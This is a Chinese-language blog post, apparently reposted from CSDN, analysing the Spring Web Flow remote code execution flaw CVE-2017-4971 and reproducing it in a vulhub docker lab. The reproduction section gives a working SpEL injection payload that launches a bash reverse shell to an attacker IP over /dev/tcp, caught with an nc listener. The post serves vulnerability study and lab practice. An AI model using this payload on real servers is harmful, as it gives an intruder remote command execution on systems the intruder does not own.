spring常见漏洞(2)

发布时间:2024年01月15日

Spring Web Flow框架远程代码执行(CVE-2017-4971)漏洞,是由于Spring Web Flow的数据绑定问题带来的表达式注入,从而导致任意代码执行。

影响版本

2.4.0-2.4.4、Older unsupported versions are also affected

漏洞分析

view对象处理用户事件,会根据HTTP参数绑定相应的model

如果model没有设置BinderConfiguration, 则会调用addDefaultMappings函数

进一步查看addDefaultMappings函数,可以发现输入参数以fieldMarkerPrefix(“_”)开头,则会调用addEmptyValueMapping函数

useSpringBeanBinding参数设置为false,则?expressionParser将设置为SpelExpressionParser对象的实例,而不是BeanWrapperExpressionParser对象的实例。当调用getValueType函数时,SpelExpressionParser对象将执行表达式,触发任意代码执行

漏洞复现

首先进入CVE-2017-4971的docker环境

点击登录

这里列出了一些登录账户,这里随便使用一个登录即可

登录之后显示如下界面

然后访问http://192.168.1.10:8080/hotels/1,点击Book Hotel

这里要把信用卡和名字都填一下,然后点击Proceed

进入如下页面,此处用bp抓包

bp抓包如下所示

这里构造一个bash反弹的payload

&_(new java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.1.2/5555 0>%261")).start()=vulhub

打开nc监听端口

把构造的payload放入抓到的包里发送

即可收到反弹shell

文章来源:https://blog.csdn.net/2301_80520893/article/details/135502103
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。